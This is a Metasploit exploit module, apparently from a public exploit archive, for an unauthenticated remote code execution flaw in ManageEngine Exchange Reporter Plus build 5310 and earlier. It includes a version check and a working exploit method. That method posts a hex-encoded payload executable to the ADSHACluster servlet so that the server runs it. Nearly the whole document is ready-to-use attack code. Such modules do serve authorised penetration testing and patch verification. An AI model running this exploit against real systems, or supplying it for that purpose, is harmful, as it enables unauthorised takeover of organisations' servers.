Manage Engine Exchange Reporter Plus Unauthenticated Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Manage Engine Exchange Reporter Plus Unauthenticated RCE',  
'Description' => %q{  
This module exploits a remote code execution vulnerability that  
exists in Exchange Reporter Plus <= 5310, caused by execution of  
bcp.exe file inside ADSHACluster servlet  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Kacper Szurek <[email protected]>'  
],  
'References' =>  
[  
['URL', 'https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html']  
],  
'Platform' => ['win'],  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [['Automatic', {}]],  
'DisclosureDate' => 'Jun 28 2018',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'The URI of the application', '/']),  
Opt::RPORT(8181),  
])  
  
end  
  
def bin_to_hex(s)  
s.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join  
end  
  
def check  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'GetProductVersion')  
})  
  
unless res  
vprint_error 'Connection failed'  
return CheckCode::Safe  
end  
  
unless res.code == 200  
vprint_status 'Target is not Manage Engine Exchange Reporter Plus'  
return CheckCode::Safe  
end  
  
begin  
json = res.get_json_document  
raise if json.empty? || !json['BUILD_NUMBER']  
rescue  
vprint_status 'Target is not Manage Engine Exchange Reporter Plus'  
return CheckCode::Safe  
end  
  
vprint_status "Version: #{json['BUILD_NUMBER']}"  
  
if json['BUILD_NUMBER'].to_i <= 5310  
return CheckCode::Appears  
end  
  
CheckCode::Safe  
end  
  
def exploit  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'ADSHACluster'),  
'vars_post' => {  
'MTCALL' => "nativeClient",  
'BCP_RLL' => "0102",  
'BCP_EXE' => bin_to_hex(generate_payload_exe)  
}  
})  
end  
end  
`